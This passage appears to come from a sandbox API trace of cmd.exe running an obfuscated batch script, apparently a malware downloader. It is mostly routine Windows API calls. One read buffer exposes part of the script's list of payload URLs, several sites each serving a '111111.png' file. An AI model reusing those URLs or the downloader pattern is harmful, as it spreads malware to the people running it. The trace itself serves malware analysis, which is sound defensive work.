FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.498] GetLastError () returned 0x2 [0233.498] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.498] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.498] GetLastError () returned 0x2 [0233.498] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.498] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.499] GetLastError () returned 0x2 [0233.499] ??_V@YAXPEAX@Z () returned 0x1 [0233.499] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.499] GetFileType (hFile=0x54) returned 0x2 [0233.499] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0233.499] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0233.500] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.500] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0233.500] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0233.500] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0233.500] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0233.508] ??_V@YAXPEAX@Z () returned 0x1 [0233.509] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.509] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0233.509] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.509] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0233.509] _get_osfhandle (_FileHandle=0) returned 0x4c [0233.509] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0233.510] SetConsoleInputExeNameW () returned 0x1 [0233.510] GetConsoleOutputCP () returned 0x1b5 [0233.510] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0233.510] SetThreadUILanguage (LangId=0x0) returned 0x409 [0233.511] ??_V@YAXPEAX@Z () returned 0x1 [0233.512] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.512] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.512] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.512] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x166f [0233.513] GetProcessHeap () returned 0x20b0f920000 [0233.513] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956760) returned 1 [0233.513] GetProcessHeap () returned 0x20b0f920000 [0233.513] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0233.513] GetProcessHeap () returned 0x20b0f920000 [0233.513] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947a50) returned 1 [0233.513] GetProcessHeap () returned 0x20b0f920000 [0233.513] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0233.514] GetProcessHeap () returned 0x20b0f920000 [0233.514] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9570a0) returned 1 [0233.514] GetProcessHeap () returned 0x20b0f920000 [0233.514] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0233.515] GetProcessHeap () returned 0x20b0f920000 [0233.515] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956910) returned 1 [0233.515] GetProcessHeap () returned 0x20b0f920000 [0233.515] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0233.515] GetProcessHeap () returned 0x20b0f920000 [0233.515] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947c10) returned 1 [0233.515] GetProcessHeap () returned 0x20b0f920000 [0233.515] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0233.516] GetProcessHeap () returned 0x20b0f920000 [0233.516] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0233.516] GetProcessHeap () returned 0x20b0f920000 [0233.516] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0233.516] GetProcessHeap () returned 0x20b0f920000 [0233.516] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0233.516] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.516] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x166f [0233.516] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x146, lpOverlapped=0x0) returned 1 [0233.516] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16ca [0233.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0233.516] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.516] GetFileType (hFile=0x9c) returned 0x1 [0233.517] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.517] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x16ca [0233.517] GetProcessHeap () returned 0x20b0f920000 [0233.517] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.518] GetProcessHeap () returned 0x20b0f920000 [0233.518] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.518] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0233.518] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0233.518] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0233.518] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0233.518] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0233.518] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0233.518] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0233.518] GetProcessHeap () returned 0x20b0f920000 [0233.519] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0233.519] GetProcessHeap () returned 0x20b0f920000 [0233.519] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0233.519] GetProcessHeap () returned 0x20b0f920000 [0233.519] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xaa) returned 0x20b0f9259d0 [0233.519] _tell (_FileHandle=3) returned 5834 [0233.519] _close (_FileHandle=3) returned 0 [0233.519] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0233.519] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.519] GetFileType (hFile=0x50) returned 0x2 [0233.519] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.519] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0233.520] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.520] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0233.523] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0233.523] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0233.523] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0233.523] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.523] GetFileType (hFile=0x50) returned 0x2 [0233.523] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.524] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0233.524] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.524] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0233.524] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.524] GetFileType (hFile=0x50) returned 0x2 [0233.524] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.524] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.525] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.525] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0233.525] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 77 [0233.525] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.525] GetFileType (hFile=0x50) returned 0x2 [0233.525] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.525] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0233.525] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.525] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4d) returned 1 [0233.526] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0233.526] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.526] GetFileType (hFile=0x50) returned 0x2 [0233.526] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.526] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.526] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.526] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0233.530] malloc (_Size=0xffce) returned 0x20b0fa60940 [0233.530] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0233.531] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.531] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.531] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.531] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.531] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.531] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.531] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.531] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.531] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.531] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.531] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.531] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.531] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.531] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.531] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.531] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.531] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.531] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.531] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.531] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.531] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.531] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.532] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.532] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.532] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.532] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.532] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.532] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.532] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.532] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.532] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.532] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.532] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.532] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.532] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.532] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.532] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.532] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.532] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.532] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.532] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.532] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.532] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.532] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.533] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.535] GetProcessHeap () returned 0x20b0f920000 [0233.535] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0233.537] SetErrorMode (uMode=0x0) returned 0x0 [0233.537] SetErrorMode (uMode=0x1) returned 0x0 [0233.537] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0233.537] SetErrorMode (uMode=0x0) returned 0x1 [0233.537] GetProcessHeap () returned 0x20b0f920000 [0233.537] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0233.537] GetProcessHeap () returned 0x20b0f920000 [0233.537] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0233.537] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.537] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.537] GetProcessHeap () returned 0x20b0f920000 [0233.537] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0233.537] GetProcessHeap () returned 0x20b0f920000 [0233.537] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0233.537] GetProcessHeap () returned 0x20b0f920000 [0233.538] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0233.538] GetProcessHeap () returned 0x20b0f920000 [0233.538] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0233.538] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.538] GetProcessHeap () returned 0x20b0f920000 [0233.538] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946fb0 [0233.538] GetProcessHeap () returned 0x20b0f920000 [0233.538] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946fb0, Size=0x7e) returned 0x20b0f956a30 [0233.538] GetProcessHeap () returned 0x20b0f920000 [0233.538] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956a30) returned 0x7e [0233.538] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.538] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cf70 [0233.538] FindClose (in: hFindFile=0x20b0f92cf70 | out: hFindFile=0x20b0f92cf70) returned 1 [0233.538] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.539] GetLastError () returned 0x2 [0233.539] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.539] GetLastError () returned 0x2 [0233.539] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.539] GetLastError () returned 0x2 [0233.539] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.539] GetLastError () returned 0x2 [0233.539] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.540] GetLastError () returned 0x2 [0233.540] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.540] GetLastError () returned 0x2 [0233.540] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.540] GetLastError () returned 0x2 [0233.540] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.540] GetLastError () returned 0x2 [0233.540] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.541] GetLastError () returned 0x2 [0233.541] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.541] GetLastError () returned 0x2 [0233.541] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.541] GetLastError () returned 0x2 [0233.541] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.541] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.541] GetLastError () returned 0x2 [0233.542] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.542] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ccd0 [0233.542] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0233.542] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.542] GetLastError () returned 0x2 [0233.542] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.542] GetLastError () returned 0x2 [0233.542] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.543] GetLastError () returned 0x2 [0233.543] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.543] GetLastError () returned 0x2 [0233.543] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.543] GetLastError () returned 0x2 [0233.543] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.544] GetLastError () returned 0x2 [0233.544] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.544] GetLastError () returned 0x2 [0233.544] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.544] GetLastError () returned 0x2 [0233.544] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.544] GetLastError () returned 0x2 [0233.544] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.545] GetLastError () returned 0x2 [0233.545] FindFirstFileExW (in: 